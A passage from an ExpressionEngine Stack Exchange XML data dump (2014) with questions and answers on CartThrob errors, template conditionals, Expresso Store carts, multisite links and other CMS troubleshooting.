ee()-&amp;gt;db-&amp;gt;select('url_title')&#xA;    -&amp;gt;where('entry_id', ee()-&amp;gt;uri-&amp;gt;segment(1))&#xA;    -&amp;gt;where('channel_id', 1) // use the right channel id here&#xA;    -&amp;gt;get('channel_titles');&#xA;&#xA;  $url_title = $query-&amp;gt;row('url_title');&#xA;&#xA;  $query-&amp;gt;free_result();&#xA;&#xA;  if ($url_title)&#xA;  {&#xA;    ee()-&amp;gt;functions-&amp;gt;redirect(ee()-&amp;gt;functions-&amp;gt;create_url('your/template/'.$url_title));&#xA;  }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-07-27T11:55:46.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24690" PostTypeId="1" CreationDate="2014-07-27T12:02:04.007" Score="0" ViewCount="127" Body="&lt;p&gt;Whenever I attempt to visit the Addons &gt; Modules &gt; Cartthrob &gt; Products page after installing CT, I receive the following PHP errors: (&lt;a href=&quot;http://cl.ly/image/2H0t162L2A2c&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2H0t162L2A2c&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: channel_dd&#xA;Filename: views/product_channels.php&#xA;Line Number: 206&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only happens when the default product channel doesn't exist. After creating the default channel I'm able to assign a new, custom product channel and delete the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.8.1 and CT 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known bug in Cartthrob, and is there a way to assign a product channel without first creating the default products channel?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2016-06-22T15:58:47.173" Title="PHP Error when trying to assign a product channel in Cartthrob" Tags="|cartthrob|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24691" PostTypeId="1" CreationDate="2014-07-27T17:30:31.480" Score="0" ViewCount="237" Body="&lt;p&gt;I'm unable to login to control panel after upgrading from EE2.7.2 to EE2.8.1. I've read many posts here and on Ellislab site but none of the solutions proposed seems to work for me. Interestingly, it only happens in production; locally works fine. I'm able to login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THings I've tried are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;deleted my expressionengine/cache/ dir&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;added $config variables to my config (below)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$config['cookie_prefix'] = '';&lt;/li&gt;&#xA;&lt;li&gt;$config['cookie_path'] = '';&lt;/li&gt;&#xA;&lt;li&gt;$config['cookie_domain'] = 'julianomoreira.com';&lt;/li&gt;&#xA;&lt;li&gt;$config['user_session_type'] = 'c';&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;$config['admin_session_type'] = 's';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;$config['cookie_secure']  = 'n';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;$config['expire_session_on_browser_close'] = 'y';&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juliano&lt;/p&gt;&#xA;" OwnerUserId="1961" LastEditorUserId="1961" LastEditDate="2014-07-29T03:31:15.570" LastActivityDate="2014-07-29T03:31:15.570" Title="Can't login to CP after upgrading to 2.8.1, page refreshes" Tags="|control-panel|cpanel|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24692" PostTypeId="1" CreationDate="2014-07-27T23:59:25.273" Score="0" ViewCount="47" Body="&lt;p&gt;I've recently upgraded a site to use Assets 2.3.2 instead of the built-in File field-type. This field is a column in a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the process of setting the new field-type I did notice that there were a lot of very similar rows in the &lt;code&gt;exp_assets_selections&lt;/code&gt; table like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `exp_assets_selections` (`file_id`, `entry_id`, `field_id`, `col_id`, `row_id`, `var_id`, `element_id`, `content_type`, `sort_order`, `is_draft`)&#xA;VALUES&#xA;    (19, 3270, 26, 31, 44019, NULL, NULL, NULL, 0, 0),&#xA;    (22678, 3270, 26, 31, 44019, NULL, NULL, 'matrix', 0, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some entries that are updated the old image will reappear and the new image selection will not seem to be remembered. The rows above are one such example of this happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which row is the correct selection format and is it possible to delete the unwanted rows with SQL as a means to clean up the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2016-06-09T08:25:40.917" Title="P&amp;T Assets - old image selections returning" Tags="|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24693" PostTypeId="2" ParentId="24474" CreationDate="2014-07-28T03:17:30.490" Score="0" Body="&lt;p&gt;I also found this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; status=&quot;open&quot; url_title=&quot;{last_segment}&quot; limit=&quot;1&quot; disable=&quot;member_data|trackbacks|pagination&quot; track_views=&quot;one&quot;}&#xA;{exp:ifelse parse=&quot;inward&quot;}&#xA;     {if xxx}&#xA;&#xA;&#xA;     {/if}&#xA;{/exp:channel:entries}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;did not work, but &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;resources&quot; status=&quot;open&quot; url_title=&quot;{last_segment}&quot; limit=&quot;1&quot; disable=&quot;member_data|trackbacks|pagination&quot; track_views=&quot;one&quot;}&#xA;{exp:ifelse parse=&quot;inward&quot;}&#xA;&#xA;     {if xxx}&#xA;&#xA;     {/if} &#xA;&#xA;{/exp:ifelse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;did.  Note the order of the channel entries tag and the closing IfElse tag in relation to the opening tags.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-07-28T03:17:30.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24694" PostTypeId="1" AcceptedAnswerId="24703" CreationDate="2014-07-28T05:05:57.657" Score="0" ViewCount="60" Body="&lt;p&gt;In the new EE version (2.9), the conditionals evaluate when ready, so the performances are boosted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is still necessary using the IfElse Add-on from Mark Croxton, when using EE conditional?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-07-28T13:28:55.573" Title="Is still necessary using the Add-on Ifelse from Mark Croxton with EE2.9?" Tags="|conditionals|ifelse|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24695" PostTypeId="2" ParentId="13822" CreationDate="2014-07-28T05:22:38.360" Score="1" Body="&lt;p&gt;The issue here seems to be that in Matrix 2.3 &lt;code&gt;form_prep&lt;/code&gt; is called during the display_cell method: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cell data is now run through form_prep(), just like normal field data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're outputting the input with &lt;code&gt;form_textarea&lt;/code&gt; or &lt;code&gt;form_input&lt;/code&gt; that also calls &lt;code&gt;form_prep()&lt;/code&gt; leading to the double encoding.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2014-07-28T05:22:38.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24696" PostTypeId="1" CreationDate="2014-07-28T08:27:12.877" Score="0" ViewCount="47" Body="&lt;p&gt;This is an odd one as these sites have been running for a long time and this issue has never previously come up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a group of sites running under Multisite Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one of the sites (Site A) I have a news channel. Entries in this channel are shown on different sites based on categories - let's call the site in question Site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has just been noticed that a link to a file uploaded to Site A is mangled when that entry is shown on Site B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is hardcoded into the entry content (via a Redactee field) with the full URL. It &lt;em&gt;should&lt;/em&gt; be something like &lt;a href=&quot;http://www.siteA.com/downloads/my_file.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.siteA.com/downloads/my_file.pdf&lt;/a&gt; and on Site A this is how it is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on Site B the link is turned into &lt;a href=&quot;http://www.siteB.com/news/%7Bfiledir_7%7Dmy_file.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.siteB.com/news/%7Bfiledir_7%7Dmy_file.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow the link is being rewritten and because the downloads directory doesn't exist on Site B I'm getting the unparsed file directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any setting in Redactee to control rewriting of links so what is doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Even if I just write the URL in the text EE seems to replace the portion that matches one of the upload directories with {filedir_7} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; these sites are running on 2.5.2 - updating isn't really practical at the moment unless there is no other way to fix this and an update definitely will solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RESOLVED (sort of)&lt;/strong&gt;&#xA;I had a brainwave which fixed my particular situation. I simply removed the www. from the href of the link. So it became &lt;a href=&quot;http://siteA.com/downloads/my_file.pdf&quot; rel=&quot;nofollow&quot;&gt;http://siteA.com/downloads/my_file.pdf&lt;/a&gt; This stopped &lt;em&gt;whatever&lt;/em&gt; from recognising a defined upload directory and replacing it with the filedir_x tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have no idea what was doing that.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-07-29T08:03:49.747" LastActivityDate="2014-07-29T08:03:49.747" Title="Multisite Manager and Redactee - links in entries being rewritten by *something*" Tags="|multi-site-manager|file-manager|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24698" PostTypeId="1" AcceptedAnswerId="24701" CreationDate="2014-07-28T10:31:54.703" Score="0" ViewCount="140" Body="&lt;p&gt;I have the following structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link - a href=&quot;/year/1991&quot;&gt; 1991 /a&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And inside the YEAR template is this:   {exp:channel:entries channel=&quot;channel&quot; limit=&quot;10&quot; search:year_event_field=&quot;=1991&quot;}&#xA;{title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to /year, it shows me the entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to /year/1991 it doesn't it is showing me a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why ?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2014-07-28T13:17:16.330" Title="Pass segments to variables in exp channel entry" Tags="|channel-entries|entries|segments|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24699" PostTypeId="1" AcceptedAnswerId="24702" CreationDate="2014-07-28T10:35:34.290" Score="0" ViewCount="33" Body="&lt;p&gt;I have a site that uses ChannelForms for users to add entries to a channel. These entries need to be categorised, but I can't rely on users to pick the right category as this depends on data they enter in other fields in the form, which isn't known until the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the category programmatically according to known rules using an add-on on the ChannelForm return page in the same way that &lt;a href=&quot;https://github.com/ChrisLTD/yo_status_tools&quot; rel=&quot;nofollow&quot;&gt;yo_status_tools&lt;/a&gt; does for entry statuses?&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-07-28T13:20:47.863" Title="How do I add an entry to a category progammatically in an add-on?" Tags="|add-on-development|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24700" PostTypeId="2" ParentId="24474" CreationDate="2014-07-28T11:56:04.167" Score="1" Body="&lt;p&gt;Yes the syntax seems more strictly enforced...I've found a number of missing } and / in my code, even an entirely missing {/if}. I just remove big chunks from my template to quickly narrow it down to smaller areas...it's usually not hard from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(move to answer as per Robson)&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-28T11:56:04.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24701" PostTypeId="2" ParentId="24698" CreationDate="2014-07-28T13:17:16.330" Score="1" Body="&lt;p&gt;Because if you have a four digits segment, EECMS will try to filter the entries by the year of their creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to set the &lt;code&gt;dynamic&lt;/code&gt; parameter to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-28T13:17:16.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24702" PostTypeId="2" ParentId="24699" CreationDate="2014-07-28T13:20:47.863" Score="1" Body="&lt;p&gt;The way ExpressionEngine handle's categories is in the exp_category_posts table. In order to assign an entry to a category, simply insert the new entry id into the entry_id column and the associated category id in the cat_id table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of my category_post table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QWG78.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-28T13:20:47.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24703" PostTypeId="2" ParentId="24694" CreationDate="2014-07-28T13:28:55.573" Score="2" Body="&lt;p&gt;It depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't using variables on conditional outside the default order, you can remove ifElse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, ifElse parses early variables like &lt;code&gt;member_id&lt;/code&gt; and &lt;code&gt;group_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take some time to look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing order&lt;/a&gt; and see if you need to change it in some way.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-28T13:28:55.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24704" PostTypeId="1" CreationDate="2014-07-28T13:59:28.503" Score="0" ViewCount="64" Body="&lt;p&gt;First of all, excuse my poor english... i hope you will get it :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page that contains a list of entries titles. There a lot of entries so i use pagination to display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on an entry, it goes to a page dedicated to the entry and there is some js that may add hashtags to the url. On that page i also have a back link that is supposed to bring you back to the precedent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i send the user back to the correct paginated page ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can't use history.back() because of the hashtags. so i would like to retrieve the &quot;index&quot; of the entry to calculate the correct pagination page... is that possible ? how ?&lt;/p&gt;&#xA;" OwnerUserId="3363" LastActivityDate="2014-07-28T13:59:28.503" Title="Get back to correct page with a back link when using pagination" Tags="|pagination|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24705" PostTypeId="1" CreationDate="2014-07-28T14:01:54.007" Score="0" ViewCount="32" Body="&lt;p&gt;my client is using &lt;strong&gt;Expression Engine 1.6.8&lt;/strong&gt; and there are some broken XML documents created with page. I have no experience with Expression Engine. The problem is these dinamic XML is being generated - so others pages can use it as source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt; I have no idea where this XML is being generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very broad question but : Where is this XML being generated and how can I fix it? Where to check? What is usual practice? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="3417" LastActivityDate="2014-07-28T16:39:40.340" Title="Help me locate where is XML being generated" Tags="|xml|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24706" PostTypeId="1" AcceptedAnswerId="24722" CreationDate="2014-07-28T14:14:28.047" Score="1" ViewCount="39" Body="&lt;p&gt;I had asked a similar question a while back:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13810/how-to-delete-all-member-accounts-with-no-channel-entries&quot;&gt;How to delete all member accounts with no channel entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need a slightly different twist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to remove member accounts that have authored no channel entries AND were created 6 months ago or older.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use some help writing the date part of the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-07-28T23:25:07.740" Title="How to clear member accounts with no entries after 6 months" Tags="|members|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24709" PostTypeId="1" CreationDate="2014-07-28T15:21:37.210" Score="0" ViewCount="86" Body="&lt;p&gt;I am using Field Pack 2.1.1 with EE 2.9.0.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All field types are working except the List field type.  Are these compatible? Is there an alternative field type I could substitute with ease? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have maybe 200 entires using this field type with 5-10 list items each so I am assume it would be painful to migrate away.  Any help would be appreciated, Thanks!&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2014-11-26T15:23:16.393" Title="Why won't Field Pack List 2.1.1 work?" Tags="|ee2|error|fieldtype|field-pack|list|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24710" PostTypeId="1" CreationDate="2014-07-28T16:26:47.460" Score="0" ViewCount="90" Body="&lt;p&gt;After migrating our website to a new server we are getting an error when trying to access Cartthrob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method Cp::set_variable() in /home/smctorg/public_html/dev.rdrneducation.com/system/expressionengine/third_party/cartthrob/mcp.cartthrob.php on line 215&lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2014-07-28T18:56:57.127" Title="After migrating our website to a new server we are getting an error when trying to access Cartthrob" Tags="|cartthrob|php-errors|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24711" PostTypeId="2" ParentId="24705" CreationDate="2014-07-28T16:39:40.340" Score="1" Body="&lt;p&gt;All pages are generated by templates. Take a look at the &lt;a href=&quot;http://ee1docs.com/cp/templates/templates.html&quot; rel=&quot;nofollow&quot;&gt;templates section of control panel&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-28T16:39:40.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24712" PostTypeId="1" CreationDate="2014-07-28T16:47:18.783" Score="0" ViewCount="90" Body="&lt;p&gt;I seem to have found a bug with Cartthrob 2.6 where the tax is calculated incorrectly when using allow_user_price=&quot;yes&quot; within the &quot;add_to_cart_form&quot; tag. The cart seems to display the tax of the item, rather than the allowed user price which should override this. The previous version of CT was working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Updated on EE 2.9)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this and found any solution? I will have a dig about to see what is going on, but it's unusable in my case until I find a fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I've looked into this further and it seems to be where the base_price() function  is called and uses retrieves the item's price rather than the dynamic price in this case (found in in cartthrob/core/item/Cartthrob_item_product.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a way to detect if product has a dynamic price, then we could tell it to use retrieve the calculated price. However I am unable to see any identifier to say this has a dynamic price within the $item/$this object? Or perhaps I'm missing something?!? Any suggestions very welcome...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2675" LastEditorUserId="2675" LastEditDate="2014-07-28T17:39:03.437" LastActivityDate="2014-09-11T21:15:59.683" Title="Cartthrob 2.6 tax being calculated incorrectly with allow_user_price" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24713" PostTypeId="1" CreationDate="2014-07-28T17:08:11.607" Score="2" ViewCount="365" Body="&lt;p&gt;How would I go about removing an item in the cart through the use of a little x button? This would not be in a exp:store:checkout tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, the cart would display along side the store itself with a current listing of all items. It would have a 'checkout' button, which then leads to a check out page, but also a little 'x' on the far right of each entry in the cart to allow the user to remove an item with a single click. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this feasible in Expresso Store? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code of my _cart include. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;cart&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;cartheader&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;carticon&quot;&amp;gt;&#xA;              &amp;lt;img src=&quot;{images}/cartIcon.jpg&quot; alt=&quot;539b2a50de9f60d2677627c3_cartIcon.jpg&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;carttext&quot;&amp;gt;Cart&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;div class=&quot;cartitemdiv&quot;&amp;gt;&#xA;          {exp:store:cart}&#xA;            {if no_items}                  &#xA;            &amp;lt;div class=&quot;w-clearfix cartentry&quot;&amp;gt;&#xA;             &amp;lt;p&amp;gt;Your cart is empty!&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            {items}&#xA;            {exp:channel:entries channel=&quot;store&quot; entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot; status=&quot;open|outlet center&quot;}&#xA;            &amp;lt;div class=&quot;w-clearfix cartentry&quot;&amp;gt;                  &#xA;              &amp;lt;img class=&quot;cartitemimage&quot; src=&quot;{product_image_thumbnail}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;cartitemtext&quot;&amp;gt;{!-- {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; excl_cat_id=&quot;27|2|38|40|43|37|28|30|29|31|36|34|32|35|33|3&quot; style=&quot;linear&quot;}{cat_name}{/exp:gwcode_categories} – --} {product_color}&amp;lt;/div&amp;gt;&#xA;              &amp;lt;a class=&quot;w-inline-block cartitemdelete&quot; href=&quot;#&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{images}/delete.png&quot; alt=&quot;539f0abea2b67b211347a277_delete.png&quot;&amp;gt;&#xA;              &amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;            {/items}&#xA;&#xA;            &amp;lt;div class=&quot;w-clearfix checkoutdiv&quot;&amp;gt;&#xA;              &amp;lt;div class=&quot;checkoutbuttondiv&quot;&amp;gt;&amp;lt;a class=&quot;button btn btn-success pull-right&quot; href=&quot;/checkout/&quot;&amp;gt;checkout&amp;lt;/a&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:store:cart}&#xA;          &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2014-07-28T19:31:08.670" Title="Expresso Store: remove item in cart with 'x' button" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24714" PostTypeId="2" ParentId="24710" CreationDate="2014-07-28T18:56:57.127" Score="2" Body="&lt;p&gt;If you upgraded EE to 2.8.1, you will need to upgrade CartThrob to 2.6. 2.6 was the first version of CartThrob tested with EE 2.8 &lt;a href=&quot;http://cartthrob.com/docs/pages/change_log/index.html&quot; rel=&quot;nofollow&quot;&gt;See CartThrob changelog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't need to uninstall cartthrob for any reason, a straight upgrade will be fine, although your jumping quite a few versions so extensive testing will be required.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2014-07-28T18:56:57.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24715" PostTypeId="1" CreationDate="2014-07-28T19:12:28.650" Score="1" ViewCount="49" Body="&lt;p&gt;I have a report area on an EE site that shows specifics about entries in a channel, and was wondering if there was a way to show who edited that entry last? I am using the {edit_date format=&quot;%m-%d-%Y} to get the date/time it was modified, but it would be nice to know which user modified the entry. We have numerous backend admins with various priv's to maintain things.&lt;/p&gt;&#xA;" OwnerUserId="3419" LastActivityDate="2014-07-28T21:02:48.067" Title="Last edited by tag?" Tags="|tags|entry|edit-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24716" PostTypeId="2" ParentId="24713" CreationDate="2014-07-28T19:31:08.670" Score="1" Body="&lt;p&gt;You would need to use the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag pair even if it is not part of your actual checkout process as the &lt;code&gt;{exp:store:cart}&lt;/code&gt; tag doe not create a form. Once you switch your tags you will need to use the &lt;code&gt;remove_items&lt;/code&gt; syntax (&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#removing_items&quot; rel=&quot;nofollow&quot;&gt;docs link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;  {title} - &amp;lt;input type=&quot;checkbox&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt;&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;  {title} -  &amp;lt;input type=&quot;submit&quot; name=&quot;remove_items[{key}]&quot; value=&quot;X&quot; /&amp;gt;&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-28T19:31:08.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24717" PostTypeId="2" ParentId="24668" CreationDate="2014-07-28T19:43:52.210" Score="1" Body="&lt;p&gt;This answer comes from Manuel over at DevDemon Support.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thank you for the follow up! And indeed the fix is correct, we already encountered this and it was fixed for Store 2.4.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;And for the minimum order qty inside the modifiers loop? Already&#xA;  possible, just not documented.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifier_options}&#xA;    {option_name} - Min Order Qty. {option_min_order_qty}&#xA;{/modifier_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tested this and it does indeed work without a hitch.&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2014-07-28T19:43:52.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
